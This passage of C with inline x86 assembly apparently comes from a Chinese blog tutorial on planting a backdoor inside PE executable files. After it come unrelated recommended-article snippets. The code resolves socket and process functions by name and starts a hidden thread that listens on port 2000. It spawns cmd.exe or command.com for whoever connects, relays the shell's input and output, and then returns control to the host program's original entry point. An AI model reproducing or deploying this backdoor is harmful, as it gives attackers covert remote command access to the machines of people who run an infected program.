  375.     mov         dword ptr [ebp-120h],'tc'   
  376.     mov         dword ptr [ebp-11Ch],0000h   
  377.     lea eax,[ebp-124h]   
  378.     push eax    
  379.     push ebx   
  380.     call dword ptr [ebp-8h]   
  381.     mov   dword ptr [ebp-4040h],eax//select入口地址    
  382.     cmp         eax,0   
  383.     jz  exit1   
  384. //recv入口地址    
  385.     mov         dword ptr [ebp-124h],'vcer'   
  386.     mov         dword ptr [ebp-120h],0000h   
  387.     lea eax,[ebp-124h]   
  388.     push eax    
  389.     push ebx   
  390.     call dword ptr [ebp-8h]   
  391.     mov   dword ptr [ebp-4044h],eax//recv入口地址    
  392.     cmp         eax,0   
  393.     jz  exit1   
  394. //send入口地址    
  395.     mov         dword ptr [ebp-124h],'dnes'   
  396.     mov         dword ptr [ebp-120h],0000h   
  397.     lea eax,[ebp-124h]   
  398.     push eax    
  399.     push ebx   
  400.     call dword ptr [ebp-8h]   
  401.     mov   dword ptr [ebp-4048h],eax//send入口地址    
  402.     cmp         eax,0   
  403.     jz  exit1   
  404. //htons入口地址    
  405.     mov         dword ptr [ebp-124h],'noth'   
  406.     mov         dword ptr [ebp-120h],'s'   
  407.     mov         dword ptr [ebp-11Ch],0000h   
  408.     lea eax,[ebp-124h]   
  409.     push eax    
  410.     push ebx   
  411.     call dword ptr [ebp-8h]   
  412.     mov   dword ptr [ebp-404Ch],eax//htons入口地址    
  413.     cmp         eax,0   
  414.     jz  exit1   
  415. //bind入口地址    
  416.     mov         dword ptr [ebp-124h],'dnib'   
  417.     mov         dword ptr [ebp-120h],0000h   
  418.     lea eax,[ebp-124h]   
  419.     push eax    
  420.     push ebx   
  421.     call dword ptr [ebp-8h]   
  422.     mov   dword ptr [ebp-4050h],eax//bind入口地址    
  423.     cmp         eax,0   
  424.     jz  exit1   
  425. //listen入口地址    
  426.     mov         dword ptr [ebp-124h],'tsil'   
  427.     mov         dword ptr [ebp-120h],'ne'   
  428.     mov         dword ptr [ebp-11Ch],0000h   
  429.     lea eax,[ebp-124h]   
  430.     push eax    
  431.     push ebx   
  432.     call dword ptr [ebp-8h]   
  433.     mov   dword ptr [ebp-4054h],eax//listen入口地址    
  434.     cmp         eax,0   
  435.     jz  exit1   
  436. //accept入口地址    
  437.     mov         dword ptr [ebp-124h],'ecca'   
  438.     mov         dword ptr [ebp-120h],'tp'   
  439.     mov         dword ptr [ebp-11Ch],0000h   
  440.     lea eax,[ebp-124h]   
  441.     push eax    
  442.     push ebx   
  443.     call dword ptr [ebp-8h]   
  444.     mov   dword ptr [ebp-4058h],eax//accept入口地址    
  445.     cmp         eax,0   
  446.     jz  exit1   
  447.     }   
  448. //load msvcrt.dll    
  449.     _asm   
  450.     {   
  451.     mov         dword ptr [ebp-124h],'cvsm'   
  452.     mov         dword ptr [ebp-120h],'d.tr'   
  453.     mov         dword ptr [ebp-11Ch],'ll'   
  454.     mov         dword ptr [ebp-118h],0000h   
  455.     lea eax,[ebp-124h]   
  456.     push eax    
  457.     call dword ptr [ebp-400ch]   
  458.     cmp         eax,0   
  459.     jz  exit1   
  460.     mov ebx,eax   
  461. //memset入口地址    
  462.     mov         dword ptr [ebp-124h],'smem'   
  463.     mov         dword ptr [ebp-120h],'te'   
  464.     mov         dword ptr [ebp-11Ch],0000h   
  465.     lea eax,[ebp-124h]   
  466.     push eax    
  467.     push ebx   
  468.     call dword ptr [ebp-8h]   
  469.     mov   dword ptr [ebp-4090h],eax//memset入口地址    
  470.     cmp         eax,0   
  471.     jz  exit1   
  472.     }   
  473.    
  474. //////////////////////////////////////////////////////////////    
  475.    
  476. //建立后门线程    
  477.    
  478. /////////////////////////////////////////////////////////////    
  479.     _asm   
  480.     {   
  481.    call    ex   
  482.    add     ecx,32h //取得后门代码的地址    
  483.    mov     dword ptr [ebp-8],1   
  484.    mov     dword ptr [ebp-0Ch],0   
  485.    mov     dword ptr [ebp-10h],0Ch   
  486.    lea     eax,[ebp-4]   
  487.    push    eax   
  488.    push    0   
  489.    push    0   
  490.    push    ecx   
  491.    push    0   
  492.    lea     ecx,[ebp-10h]   
  493.    push    ecx   
  494.    call    dword ptr [ebp-4008h]   
  495.    call    exit1 //返回真正的代码    
  496.         }   
  497. //////////////////////////////////////////////////////////////    
  498. //建立后门    
  499. /////////////////////////////////////////////////////////////    
  500.     _asm   
  501.    {   
  502.         mov eax,0x400   
  503.     call ex1   
  504.     mov ebp,dword ptr [ecx-0C70h]   
  505.    mov     byte ptr [ebp-1340h],0Dh   
  506.    mov     dword ptr [ebp-11ECh],0FFFFFFFFh   
  507.    mov     dword ptr [ebp-1DCh],0   
  508.    mov     dword ptr [ebp-1D8h],32h   
  509.    mov     dword ptr [ebp-1E4h],10h   
  510.    call    dword ptr [ebp-4004h]   
  511.    cmp     eax,80000000h   
  512.    jnb     loc_0040106C   
  513.    mov     dword ptr [ebp-11ECh],1   
  514.    mov     dword ptr [ebp-4118h],'.dmc'   
  515.    mov     dword ptr [ebp-4114h],'exe'   
  516.    mov     dword ptr [ebp-4110h],00000000h   
  517.    jmp     loc_0040107D   
  518. loc_0040106C:   
  519.    mov     dword ptr [ebp-11ECh],0   
  520.    mov     dword ptr [ebp-4118h],'mmoc'   
  521.    mov     dword ptr [ebp-4114h],'.dna'   
  522.    mov     dword ptr [ebp-4110h],'moc'   
  523. loc_0040107D:   
  524.    lea     eax,[ebp-1D4h]   
  525.    push    eax   
  526.    push    101h   
  527.    call    dword ptr [ebp-4030h]   
  528.    push    0   
  529.    push    1   
  530.    push    2   
  531.    call    dword ptr [ebp-4038h]   
  532.    mov     [ebp-30h],eax   
  533.    push    0   
  534.    push    1   
  535.    push    2   
  536.    call    dword ptr [ebp-4038h]   
  537.    mov     [ebp-12F8h],eax   
  538.    mov     word ptr [ebp-28h],2   
  539.    push    7D0h   
  540.    call    dword ptr [ebp-404Ch]   
  541.    mov     [ebp-26h],ax   
  542.    mov     dword ptr [ebp-24h],0   
  543.    mov     dword ptr [ebp-44h],0Ch   
  544.    mov     dword ptr [ebp-40h],0   
  545.    mov     dword ptr [ebp-3Ch],1   
  546.    push    10h   
  547.    lea     ecx,[ebp-28h]   
  548.    push    ecx   
  549.    mov     edx,[ebp-30h]   
  550.    push    edx   
  551.    call    dword ptr [ebp-4050h]   
  552.    push    2   
  553.    mov     eax,[ebp-30h]   
  554.    push    eax   
  555.    call    dword ptr [ebp-4054h]   
  556. loc_004010F7:   
  557.    lea     ecx,[ebp-1E4h]   
  558.    push    ecx   
  559.    lea     edx,[ebp-28h]   
  560.    push    edx   
  561.    mov     eax,[ebp-30h]   
  562.    push    eax   
  563.    call    dword ptr [ebp-4058h]   
  564.    mov     [ebp-12F8h],eax   
  565.    cmp     dword ptr [ebp-12F8h],0FFFFFFFFh   
  566.    jnz     loc_00401121   
  567.    xor     eax,eax   
  568.    jmp     loc_00401419   
  569. loc_00401121:   
  570.    push    0   
  571.    lea     ecx,[ebp-44h]   
  572.    push    ecx   
  573.    lea     edx,[ebp-34h]   
  574.    push    edx   
  575.    lea     eax,[ebp-38h]   
  576.    push    eax   
  577.    call    dword ptr [ebp-4000h]   
  578.    test    eax,eax   
  579.    jnz     loc_00401140   
  580.    xor     eax,eax   
  581.    jmp     loc_00401419   
  582. loc_00401140:   
  583.    push    0   
  584.    lea     ecx,[ebp-44h]   
  585.    push    ecx   
  586.    lea     edx,[ebp-1E0h]   
  587.    push    edx   
  588.    lea     eax,[ebp-2Ch]   
  589.    push    eax   
  590.    call    dword ptr [ebp-4000h]   
  591.    push    44h   
  592.    push    0   
  593.    lea     ecx,[ebp-133Ch]   
  594.    push    ecx   
  595.    call    dword ptr [ebp-4090h]   
  596.    add     esp,0Ch   
  597.    lea     edx,[ebp-133Ch]   
  598.    push    edx   
  599.    call    dword ptr [ebp-4028h]   
  600.    mov     dword ptr [ebp-133Ch],44h   
  601.    mov     dword ptr [ebp-1310h],101h   
  602.    mov     word ptr [ebp-130Ch],0   
  603.    mov     eax,[ebp-34h]   
  604.    mov     [ebp-12FCh],eax   
  605.    mov     ecx,[ebp-2Ch]   
  606.    mov     [ebp-1304h],ecx   
  607.    mov     edx,[ebp-34h]   
  608.    mov     [ebp-1300h],edx   
  609.    lea     eax,[ebp-14h]   
  610.    push    eax   
  611.    lea     ecx,[ebp-133Ch]   
  612.    push    ecx   
  613.    push    0   
  614.    push    0   
  615.    push    0   
  616.    push    1   
  617.    push    0   
  618.    push    0   
  619.    lea     edx,[ebp-4118h]   
  620.    push    edx   
  621.    push    0   
  622.    call    dword ptr [ebp-402Ch]   
  623.    test    eax,eax   
  624.    jnz     loc_004011DD   
  625.    xor     eax,eax   
  626.    jmp     loc_00401419   
  627. loc_004011DD:   
  628.    push    0C8h   
  629.    call    dword ptr [ebp-4018h]   
  630. loc_004011E8:   
  631.    mov     eax,1   
  632.    test    eax,eax   
  633.    je      loc_004013C8   
  634.    push    1000h   
  635.    push    0   
  636.    lea     ecx,[ebp-11E8h]   
  637.    push    ecx   
  638.    call    dword ptr [ebp-4090h]   
  639.    add     esp,0Ch   
  640.    mov     dword ptr [ebp-12F4h],0   
  641. loc_00401215:   
  642.    cmp     dword ptr [ebp-12F4h],40h   
  643.    jnb     loc_00401240   
  644.    mov     edx,[ebp-12F4h]   
  645.    mov     eax,[ebp-12F8h]   
  646.    mov     [ebp+edx*4-12F0h],eax   
  647.    mov     ecx,[ebp-12F4h]   
  648.    add     ecx,1   
  649.    mov     [ebp-12F4h],ecx   
  650. loc_00401240:   
  651.    xor     edx,edx   
  652.    test    edx,edx   
  653.    jnz     loc_00401215   
  654.    lea     eax,[ebp-1DCh]   
  655.    push    eax   
  656.    push    0   
  657.    push    0   
  658.    lea     ecx,[ebp-12F4h]   
  659.    push    ecx   
  660.    push    0   
  661.    call    dword ptr [ebp-4040h]   
  662.    mov     [ebp-11F0h],eax   
  663.    cmp     dword ptr [ebp-11F0h],0   
  664.    je      loc_00401338   
  665.    cmp     dword ptr [ebp-11F0h],0FFFFFFFFh   
  666.    je      loc_00401338   
  667.    lea     edx,[ebp-12F4h]   
  668.    push    edx   
  669.    mov     eax,[ebp-12F8h]   
  670.    push    eax   
  671.    call    dword ptr [ebp-4034h]   
  672.    test    eax,eax   
  673.    jz      loc_004012B6   
  674.    push    0   
  675.    push    1000h   
  676.    lea     ecx,[ebp-11E8h]   
  677.    push    ecx   
  678.    mov     edx,[ebp-12F8h]   
  679.    push    edx   
  680.    call    dword ptr [ebp-4044h]   
  681.    mov     [ebp-1E8h],eax   
  682. loc_004012B6:   
  683.    cmp     dword ptr [ebp-1E8h],0   
  684.    ja      loc_004012C4   
  685.    jmp     loc_00401417   
  686. loc_004012C4:   
  687.    push    0   
  688.    lea     eax,[ebp-1E8h]   
  689.    push    eax   
  690.    mov     ecx,[ebp-1E8h]   
  691.    push    ecx   
  692.    lea     edx,[ebp-11E8h]   
  693.    push    edx   
  694.    mov     eax,[ebp-1E0h]   
  695.    push    eax   
  696.    call    dword ptr [ebp-401Ch]   
  697.    mov     [ebp-11F0h],eax   
  698.    cmp     dword ptr [ebp-11F0h],0   
  699.    jnz     loc_004012FC   
  700.    jmp     loc_00401415   
  701. loc_004012FC:   
  702.    cmp     dword ptr [ebp-11ECh],0   
  703.    jnz     loc_0040132A   
  704.    push    0   
  705.    lea     ecx,[ebp-1E8h]   
  706.    push    ecx   
  707.    push    1   
  708.    lea     edx,[ebp-1340h]   
  709.    push    edx   
  710.    mov     eax,[ebp-1E0h]   
  711.    push    eax   
  712.    call    dword ptr [ebp-401Ch]   
  713.    mov     [ebp-11F0h],eax   
  714. loc_0040132A:   
  715.    cmp     dword ptr [ebp-11F0h],0   
  716.    jnz     loc_00401338   
  717.    jmp     loc_00401413   
  718. loc_00401338:   
  719.    push    1000h   
  720.    push    0   
  721.    lea     ecx,[ebp-11E8h]   
  722.    push    ecx   
  723.    call    dword ptr [ebp-4090h]   
  724.    add     esp,0Ch   
  725.    push    0   
  726.    lea     edx,[ebp-4]   
  727.    push    edx   
  728.    push    0   
  729.    push    0   
  730.    push    0   
  731.    mov     eax,[ebp-38h]   
  732.    push    eax   
  733.    call    dword ptr [ebp-4020h]   
  734.    cmp     dword ptr [ebp-4],0   
  735.    jbe     loc_004013C3   
  736.    push    0   
  737.    lea     ecx,[ebp-1E8h]   
  738.    push    ecx   
  739.    mov     edx,[ebp-4]   
  740.    push    edx   
  741.    lea     eax,[ebp-11E8h]   
  742.    push    eax   
  743.    mov     ecx,[ebp-38h]   
  744.    push    ecx   
  745.    call    dword ptr [ebp-4024h]   
  746.    mov     [ebp-11F0h],eax   
  747.    cmp     dword ptr [ebp-11F0h],0   
  748.    jnz     loc_00401399   
  749.    jmp     loc_00401411   
  750. loc_00401399:   
  751.    push    0   
  752.    mov     edx,[ebp-4]   
  753.    push    edx   
  754.    lea     eax,[ebp-11E8h]   
  755.    push    eax   
  756.    mov     ecx,[ebp-12F8h]   
  757.    push    ecx   
  758.    call    dword ptr [ebp-4048h]   
  759.    mov     [ebp-11F0h],eax   
  760.    cmp     dword ptr [ebp-11F0h],0   
  761.    jg      loc_004013C3   
  762.    jmp     loc_0040140F   
  763. loc_004013C3:   
  764.    jmp     loc_004011E8   
  765. loc_004013C8:   
  766.    mov     edx,[ebp-1E0h]   
  767.    push    edx   
  768.    call    dword ptr [ebp-4010h]   
  769.    mov     eax,[ebp-38h]   
  770.    push    eax   
  771.    call    dword ptr [ebp-4010h]   
  772.    mov     ecx,[ebp-2Ch]   
  773.    push    ecx   
  774.    call    dword ptr [ebp-4010h]   
  775.    mov     edx,[ebp-34h]   
  776.    push    edx   
  777.    call    dword ptr [ebp-4010h]   
  778.    mov     eax,[ebp-12F8h]   
  779.    push    eax   
  780.    call    dword ptr [ebp-403Ch]   
  781.    push    3E8h   
  782.    call    dword ptr [ebp-4018h]   
  783.    jmp     loc_004010F7   
  784. loc_0040140F:   
  785.    jmp     loc_004013C8   
  786. loc_00401411:   
  787.    jmp     loc_004013C8   
  788. loc_00401413:   
  789.    jmp     loc_004013C8   
  790. loc_00401415:   
  791.    jmp     loc_004013C8   
  792. loc_00401417:   
  793.    jmp     loc_004013C8   
  794. loc_00401419:   
  795.    mov     esp,ebp   
  796.    pop     ebp   
  797.    ret   
  798.    }   
  799.       
  800. /////////////////////////////////////////////////////////////    
  801. ex:   
  802.     _asm   
  803.     {   
  804.         pop ecx   
  805.         push ecx   
  806.         ret   
  807.     }   
  808. ex1:   
  809.     _asm   
  810.     {   
  811.     call ex   
  812.     ret   
  813.     }   
  814. exit1:   
  815. ///////////////////////////////////////////////////////////////    
  816.    _asm   
  817.    {   
  818.     mov eax,0x401000 //这里需要更改为程序人口    
  819.     jmp eax   
  820.   }   
  821. return 0;   
  822. }  

原文链接： http://blog.csdn.net/yincheng01/article/details/4250312

你可能感兴趣的:(PE可执行文件的镶入式程序后门开发)

  • 斤斤计较的婚姻到底有多难？ 白心之岂必有为
    很多人私聊我会问到在哪个人群当中斤斤计较的人最多？我都会回答他，一般婚姻出现问题的斤斤计较的人士会非常多，以我多年经验，在婚姻落的一塌糊涂的人当中，斤斤计较的人数占比在20～30%以上，也就是说10个婚姻出现问题的斤斤计较的人有2-3个有多不减。在婚姻出问题当中，有大量的心理不平衡的、尖酸刻薄的怨妇。在婚姻中仅斤斤计较有两种类型：第一种是物质上的，另一种是精神上的。在物质与精神上抠门已经严重的影响
  • 情绪觉察日记第37天 露露_e800
    今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得
  • 芦花鞋一四 许叶晗
    又是在一个寒冷的夏日里，青铜和葵花决定今天一起去卖芦花鞋，奶奶亲手给他们做了一碗热乎乎的粥对他们说:“就靠你们两挣生活费了这碗粥赶紧趁热喝了吧！”于是青铜和葵花喝完了奶奶给她们做的粥，就准备去镇上卖卢花鞋，这回青铜和葵花穿着新的芦花鞋来到了镇上。青铜这回看到了很多人都在卖，用手势表达对葵花说:“这回有好多人在抢我们生意呢！我们必须得吆喝起来。”葵花点了点头。可是谁知他们也大声的叫，卖芦花喽！卖芦花
  • QQ群采集助手，精准引流必备神器 2401_87347160 其他经验分享
    功能概述微信群查找与筛选工具是一款专为微信用户设计的辅助工具，它通过关键词搜索功能，帮助用户快速找到相关的微信群，并提供筛选是否需要验证的群组的功能。主要功能关键词搜索：用户可以输入关键词，工具将自动查找包含该关键词的微信群。筛选功能：工具提供筛选机制，用户可以选择是否只显示需要验证或不需要验证的群组。精准引流：通过上述功能，用户可以更精准地找到目标群组，进行有效的引流操作。3.设备需求该工具可以
  • 关于沟通这件事，项目经理不需要每次都面对面进行 流程大师兄
    很多项目经理都会遇到这样的问题，项目中由于事情太多，根本没有足够的时间去召开会议，那在这种情况下如何去有效地管理项目中的利益相关者？当然，不建议电子邮件也不需要开会的话，建议可以采取下面几种方式来形成有效的沟通，这几种方式可以帮助你努力的通过各种办法来保持和各方面的联系。项目经理首先要问自己几个问题，项目中哪些利益相关者是必须要进行沟通的？可以列出项目中所有的利益相关者清单，同时也整理出项目中哪些
  • 机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习python
    一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
  • android系统selinux中添加新属性property 辉色投像
    1.定位/android/system/sepolicy/private/property_contexts声明属性开头：persist.charge声明属性类型：u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property
  • 铭刻于星（四十二） 随风至
    69夜晚，绍敏同学做完功课后，看了眼房外，没听到动静才敢从书包的夹层里拿出那个心形纸团。折痕压得很深，都有些旧了，想来是已经写好很久了。绍敏同学慢慢地、轻轻地捏开折叠处，待到全部拆开后，又反复抚平纸张，然后仔细地一字字默看。只是开头的三个字是第一次看到，让她心漏跳了几拍。“亲爱的绍敏：从四年级的时候，我就喜欢你了，但是我一直不敢说，怕影响你学习。六年级的时候听说有人跟你表白，你接受了，我很难过，但
  • 底层逆袭到底有多难，不甘平凡的你准备好了吗？让吴起给你说说 造命者说
    底层逆袭到底有多难，不甘平凡的你准备好了吗？让吴起给你说说我叫吴起，生于公元前440年的战国初期，正是群雄并起、天下纷争不断的时候。后人说我是军事家、政治家、改革家，是兵家代表人物。评价我一生历仕鲁、魏、楚三国，通晓兵家、法家、儒家三家思想，在内政军事上都有极高的成就。周安王二十一年（公元前381年），因变法得罪守旧贵族，被人乱箭射死。我出生在卫国一个“家累万金”的富有家庭，从年轻时候起就不甘平凡
  • 2020-01-25 晴岚85
    郑海燕坚持分享590天2020.1.24在生活中只存在两个问题。一个问题是：你知道想要达成的目标是什么，但却不知道如何才能达成；另一个问题是：你不知道你的目标是什么。前一个是行动的问题，后一个是结果的问题。通过制定具体的下一步行动，可以解决不知道如何开始行动的问题。而通过去想象结果，对结果做预估，可以解决找不着目标的问题。对于所有吸引我们注意力，想要完成的任务，你可以先想象一下，预期的结果究竟是什
  • 随笔 | 仙一般的灵气 海思沧海
    仙岛今天，我看了你全部，似乎已经进入你的世界我不知道，这是否是梦幻，还是你仙一般的灵气吸引了我也许每一个人都要有一份属于自己的追求，这样才能够符合人生的梦想，生活才能够充满着阳光与快乐我不知道，我为什么会这样的感叹，是在感叹自己的人生，还是感叹自己一直没有孜孜不倦的追求只感觉虚度了光阴，每天活在自己的梦中，活在一个不真实的世界是在逃避自己，还是在逃避周围的一切有时候我嘲笑自己，嘲笑自己如此的虚无，
  • 想家 爆米花机
    也许不同于大家对家乡的思念，我对家乡甚至是疯狂的不舍。还未踏出车站就感觉到幸福，我享受这里的夕阳、这里的浓烈柴火味、这里每一口家常菜。我是宅女，我贪恋家的安逸。刚刚踏出大学校门，初出茅庐，无法适应每年只能国庆和春节回家。我焦虑、失眠、无端发脾气，是无法适应工作的节奏，是无法接受我将一步步离开家乡的事实。我不想承认自己胸无大志，选择再次踏上征程。图片发自App
  • 【iOS】MVC设计模式 Magnetic_h iosmvc设计模式objective-c学习ui
    MVC前言如何设计一个程序的结构，这是一门专门的学问，叫做"架构模式"（architecturalpattern），属于编程的方法论。MVC模式就是架构模式的一种。它是Apple官方推荐的App开发架构，也是一般开发者最先遇到、最经典的架构。MVC各层controller层Controller/ViewController/VC（控制器）负责协调Model和View，处理大部分逻辑它将数据从Mod
  • OC语言多界面传值五大方式 Magnetic_h iosui学习objective-c开发语言
    前言在完成暑假仿写项目时，遇到了许多需要用到多界面传值的地方，这篇博客来总结一下比较常用的五种多界面传值的方式。属性传值属性传值一般用前一个界面向后一个界面传值，简单地说就是通过访问后一个视图控制器的属性来为它赋值，通过这个属性来做到从前一个界面向后一个界面传值。首先在后一个界面中定义属性@interfaceBViewController:UIViewController@propertyNSSt
  • 一百九十四章. 自相矛盾 巨木擎天
    唉！就这么一夜，林子感觉就像过了很多天似的，先是回了阳间家里，遇到了那么多不可思议的事情儿。特别是小伙伴们，第二次与自己见面时，僵硬的表情和恐怖的气氛，让自己如坐针毡，打从心眼里难受！还有东子，他现在还好吗？有没有被人欺负？护城河里的小鱼小虾们，还都在吗？水不会真的干枯了吧？那对相亲相爱漂亮的太平鸟儿，还好吧！春天了，到了做窝、下蛋、喂养小鸟宝宝的时候了，希望它们都能够平安啊！虽然没有看见家人，也
  • UI学习——cell的复用和自定义cell Magnetic_h ui学习
    目录cell的复用手动（非注册）自动（注册）自定义cellcell的复用在iOS开发中，单元格复用是一种提高表格（UITableView）和集合视图（UICollectionView）滚动性能的技术。当一个UITableViewCell或UICollectionViewCell首次需要显示时，如果没有可复用的单元格，则视图会创建一个新的单元格。一旦这个单元格滚动出屏幕，它就不会被销毁。相反，它被添
  • element实现动态路由+面包屑 软件技术NINI vue案例vue.js前端
    el-breadcrumb是ElementUI组件库中的一个面包屑导航组件，它用于显示当前页面的路径，帮助用户快速理解和导航到应用的各个部分。在Vue.js项目中，如果你已经安装了ElementUI，就可以很方便地使用el-breadcrumb组件。以下是一个基本的使用示例：安装ElementUI（如果你还没有安装的话）:你可以通过npm或yarn来安装ElementUI。bash复制代码npmi
  • 10月|愿你的青春不负梦想-读书笔记-01 Tracy的小书斋
    本书的作者是俞敏洪，大家都很熟悉他了吧。俞敏洪老师是我行业的领头羊吧，也是我事业上的偶像。本日摘录他书中第一章中的金句：『一个人如果什么目标都没有，就会浑浑噩噩，感觉生命中缺少能量。能给我们能量的，是对未来的期待。第一件事，我始终为了进步而努力。与其追寻全世界的骏马，不如种植丰美的草原，到时骏马自然会来。第二件事，我始终有阶段性的目标。什么东西能给我能量？答案是对未来的期待。』读到这里的时候，我便
  • C语言宏函数 南林yan C语言c语言
    一、什么是宏函数？通过宏定义的函数是宏函数。如下，编译器在预处理阶段会将Add(x,y)替换为((x)*(y))#defineAdd(x,y)((x)*(y))#defineAdd(x,y)((x)*(y))intmain(){inta=10;intb=20;intd=10;intc=Add(a+d,b)*2;cout<
  • 地推话术，如何应对地推过程中家长的拒绝 校师学
    相信校长们在做地推的时候经常遇到这种情况：市场专员反馈家长不接单，咨询师反馈难以邀约这些家长上门，校区地推疲软，招生难。为什么？仅从地推层面分析，一方面因为家长受到的信息轰炸越来越多，对信息越来越“免疫”；而另一方面地推人员的专业能力和营销话术没有提高，无法应对家长的拒绝，对有意向的家长也不知如何跟进，眼睁睁看着家长走远；对于家长的疑问，更不知道如何有技巧地回答，机会白白流失。由于回答没技巧和专业
  • 谢谢你们，爱你们！ 鹿游儿
    昨天家人去泡温泉，二个孩子也带着去，出发前一晚，匆匆下班，赶回家和孩子一起收拾。饭后，我拿出笔和本子（上次去澳门时做手帐的本子）写下了1\2\3\4\5\6\7\8\9,让后让小壹去思考，带什么出发去旅游呢？她在对应的数字旁边画上了，泳衣、泳圈、肖恩、内衣内裤、tapuy、拖鞋……画完后，就让她自己对着这个本子，将要带的，一一带上，没想到这次带的书还是这本《便便工厂》(晚上姑婆发照片过来，妹妹累得
  • C语言如何定义宏函数？ 小九格物 c语言
    在C语言中，宏函数是通过预处理器定义的，它在编译之前替换代码中的宏调用。宏函数可以模拟函数的行为，但它们不是真正的函数，因为它们在编译时不会进行类型检查，也不会分配存储空间。宏函数的定义通常使用#define指令，后面跟着宏的名称和参数列表，以及宏展开后的代码。宏函数的定义方式：1.基本宏函数：这是最简单的宏函数形式，它直接定义一个表达式。#defineSQUARE(x)((x)*(x))2.带参
  • 微服务下功能权限与数据权限的设计与实现 nbsaas-boot 微服务java架构
    在微服务架构下，系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加，如何保证不同用户和服务之间的访问权限准确、细粒度地控制，成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限：指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作，比如查看订单、创建订单、修改用户资料等。数据权限：
  • 理解Gunicorn：Python WSGI服务器的基石 范范0825 ipythonlinux运维
    理解Gunicorn：PythonWSGI服务器的基石介绍Gunicorn，全称GreenUnicorn，是一个为PythonWSGI（WebServerGatewayInterface）应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具，Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置，帮助初学者快速上手。1.什么是Gunico
  • 小丽成长记（四十三） 玲玲54321
    小丽发现，即使她好不容易调整好自己的心态下一秒总会有不确定的伤脑筋的事出现，一个接一个的问题，人生就没有停下的时候，小问题不断出现。不过她今天看的书，她接受了人生就是不确定的，厉害的人就是不断创造确定性，在Ta的领域比别人多的确定性就能让自己脱颖而出，显示价值从而获得的比别人多的利益。正是这样的原因，因为从前修炼自己太少，使得她现在在人生道路上打怪起来困难重重，她似乎永远摆脱不了那种无力感，有种习
  • 学点心理知识，呵护孩子健康 静候花开_7090
    昨天听了华中师范大学教育管理学系副教授张玲老师的《哪里才是学生心理健康的最后庇护所，超越教育与技术的思考》的讲座。今天又重新学习了一遍，收获匪浅。张玲博士也注意到了当今社会上的孩子由于心理问题导致的自残、自杀及伤害他人等恶性事件。她向我们普及了一个重要的命题，她说心理健康的一些基本命题，我们与我们通常的一些教育命题是不同的，她还举了几个例子，让我们明白我们原来以为的健康并非心理学上的健康。比如如果
  • 2021年12月19日，春蕾教育集团团建活动感受——黄晓丹 黄错错加油
    感受:1.从陌生到熟悉的过程。游戏环节让我们在轻松的氛围中得到了锻炼，也增长了不少知识。2.游戏过程中，我们贡献的是个人力量，展现的是团队的力量。它磨合的往往不止是工作的熟悉，更是观念上契合度的贴近。3.这和工作是一样的道理。在各自的岗位上，每个人摆正自己的位置、各司其职充分发挥才能，并团结一致劲往一处使，才能实现最大的成功。新知:1.团队精神需要不断地创新。过去，人们把创新看作是冒风险，现在人们
  • Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断 尐尐呅
    结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序
  • c++ 的iostream 和 c++的stdio的区别和联系 黄卷青灯77 c++算法开发语言iostreamstdio
    在C++中，iostream和C语言的stdio.h都是用于处理输入输出的库，但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系：区别1.编程风格iostream（C++风格）：C++标准库中的输入输出流类库，支持面向对象的输入输出操作。典型用法是cin（输入）和cout（输出），使用>操作符来处理数据。更加类型安全，支持用户自定义类型的输入输出。#includeintmain(){in
  • 瑶池防线 谜影梦蝶
    冥华虽然逃过了影梦的军队，但他是一个忠臣，他选择上报战况。败给影梦后成逃兵，高层亡尔还活着，七重天失守......随便一条，即可处死冥华。冥华自然是知道以仙界高层的习性此信一发自己必死无疑，但他还选择上报实情，因为责任。同样此信送到仙宫后，知道此事的人，大多数人都认定冥华要完了，所以上到仙界高层，下到扫大街的，包括冥华自己，全都准备好迎接冥华之死。如果仙界现在还属于两方之争的话，冥华必死无疑。然而
  • 算法 单链的创建与删除 换个号韩国红果果 c算法
    先创建结构体 struct student { int data; //int tag;//标记这是第几个 struct student *next; }; // addone 用于将一个数插入已从小到大排好序的链中 struct student *addone(struct student *h,int x){ if(h==NULL) //??????
  • 《大型网站系统与Java中间件实践》第2章读后感 白糖_ java中间件
           断断续续花了两天时间试读了《大型网站系统与Java中间件实践》的第2章，这章总述了从一个小型单机构建的网站发展到大型网站的演化过程---整个过程会遇到很多困难，但每一个屏障都会有解决方案，最终就是依靠这些个解决方案汇聚到一起组成了一个健壮稳定高效的大型系统。          看完整章内容，
  • zeus持久层spring事务单元测试 deng520159 javaDAOspringjdbc
    今天把zeus事务单元测试放出来,让大家指出他的毛病, 1.ZeusTransactionTest.java 单元测试   package com.dengliang.zeus.webdemo.test; import java.util.ArrayList; import java.util.List; import org.junit.Test; import
  • Rss 订阅 开发 周凡杨 htmlxml订阅rss规范
